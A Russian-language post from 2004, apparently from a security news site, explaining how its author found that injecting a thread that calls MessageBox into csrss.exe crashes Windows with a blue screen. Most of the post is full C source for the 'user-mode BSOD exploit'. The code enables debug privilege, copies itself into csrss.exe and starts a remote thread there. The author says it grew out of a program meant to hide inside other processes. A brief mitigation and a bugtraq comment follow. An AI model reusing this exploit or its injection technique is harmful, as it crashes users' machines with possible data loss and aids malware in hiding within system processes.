При написании программы, целью которой было спрятаться куда подальше от глаз пользователя, я сделал так, чтоб она пряталась в другом процессе. Для отладки созданный поток выводил сообщение с его PID и TID MessageBox'ом.
Когда программа уже была готова, я решил, что пора бы ей брать привилегию отладчика, дабы прятаться и в системых процессах (а-ля winlogon, svchost, etc). Сказано - сделано. Однако, забыв о том, что системному процессу вряд ли разрешено использовать GUI, а если и разрешено, то он может быть на другом десктопе, отладочные сообщения я не убрал. При первом же запуске вывалился BSOD.
В результате выяснил, что машина падает при вызове MessageBox в csrss.exe (стоит отметить, что это не первый BSOD, вызываемый этим процессом).
Избавиться от этой "возможности" можно, убрав права отладки (secpol.msc -> Local Policies -> User Rights Assignment -> Debug Programs)
Исходник прилагается, для сборки использовался Visual C 6.
/* ************************************************************************** * * bsod.cpp * This is a user-mode BSOD exploit * Discovered on 23.12.2004 by YuraN * Contact me: yura_nev [@t] mail [d0t] ru ICQ#217436 * ************************************************************************** * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A * PARTICULAR PURPOSE. * ************************************************************************** * * Автор программы не несет какой-либо ответственности * за ее использование, а также за последствия ее использования. * Данная программа написана чисто в показательных целях. * ************************************************************************** * * TESTED ON * Win2k SP4 * WinXP SP2 * Win2003 SP1 * ************************************************************************** */ #include <windows.h> typedef BOOL (WINAPI *tEnumProcesses)(DWORD*,DWORD,DWORD*); typedef BOOL (WINAPI *tEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD); typedef DWORD (WINAPI *tGetModuleBaseNameA)(HANDLE,HMODULE,LPSTR,DWORD); typedef int (WINAPI *tMessageBoxA)(HWND,const char*,const char*,UINT); #define CHADDR(type,x) ((##type)((DWORD)(x) + (DWORD)(hmem) - (DWORD)(hinst))) tEnumProcesses EnumProcesses; tEnumProcessModules EnumProcessModules; tGetModuleBaseNameA GetModuleBaseName; typedef struct { tMessageBoxA pMessageBox; char *txt; } ADDRS; void HideNT(); DWORD WINAPI Hack(ADDRS*); ADDRS addrs; char txt[] = "BSOD"; char s[1024]; void main(void) { HMODULE psapi = LoadLibrary("psapi.dll"); EnumProcesses = (tEnumProcesses)GetProcAddress(psapi,"EnumProcesses"); EnumProcessModules = (tEnumProcessModules)GetProcAddress(psapi,"EnumProcessModules"); GetModuleBaseName = (tGetModuleBaseNameA)GetProcAddress(psapi,"GetModuleBaseNameA"); if(!EnumProcesses || !EnumProcessModules || !GetModuleBaseName) return; if(MessageBox(0, "This is a user-mode BSOD exploit.\r\n" "Data loss possible (up to filesystem crash)!\r\n" "All unsaved data will be lost!\r\n" "Do you really want to proceed?", "BSOD",MB_YESNO) == IDYES) { HideNT(); Sleep(100); MessageBox(0,"Exploit failed","BSOD",0); ExitProcess(0); } } void HideNT() { HANDLE hToken; TOKEN_PRIVILEGES tkp; memset(&tkp,0,sizeof(tkp)); OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(0,SE_DEBUG_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 0, 0); HMODULE hinst = GetModuleHandle(0); IMAGE_NT_HEADERS32 *pe = (IMAGE_NT_HEADERS32*)(((IMAGE_DOS_HEADER*)hinst)->e_lfanew + (DWORD)hinst); DWORD size = pe->OptionalHeader.SizeOfImage; DWORD wb; DWORD n; DWORD pr[1024]; if(!EnumProcesses(pr,sizeof(pr),&n)) return; n >>= 2; DWORD cpid = GetCurrentProcessId(); for(int i = 0; i < n; i++) { if(pr[i] == cpid) continue; HANDLE h = OpenProcess(PROCESS_ALL_ACCESS,0,pr[i]); if(!h) continue; HMODULE mod; DWORD nmod; EnumProcessModules(h,&mod,4,&nmod); GetModuleBaseName(h,mod,s,1023); if(lstrcmpi(s,"csrss.exe")) { CloseHandle(h); continue; } LPVOID hmem = VirtualAllocEx(h,0,size,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); if(!hmem) { CloseHandle(h); continue; } addrs.txt = CHADDR(char*,txt); addrs.pMessageBox = MessageBoxA; if(!WriteProcessMemory(h,hmem,(LPVOID)hinst,size,&wb)) { VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE); CloseHandle(h); continue; } DWORD tid; if(!CreateRemoteThread(h,0,0, (LPTHREAD_START_ROUTINE)((DWORD)Hack + (DWORD)hmem - (DWORD)hinst), (LPVOID)((LPVOID)((DWORD)&addrs - (DWORD)hinst + (DWORD)hmem)),0,&tid)) { VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE); CloseHandle(h); } } } DWORD WINAPI Hack(ADDRS *a) { return a->pMessageBox(0,a->txt,a->txt,0); }
Комментарий bugtraq.
Конечно, после внедрения в csrss это получается уже не совсем user mode, да и debug privilegies - сильная штука, доступная далеко не каждому пользователю, но осадочек неприятный остается.
обсудить | все отзывы (6) | |
[23207; 6; 8.16] |
|
|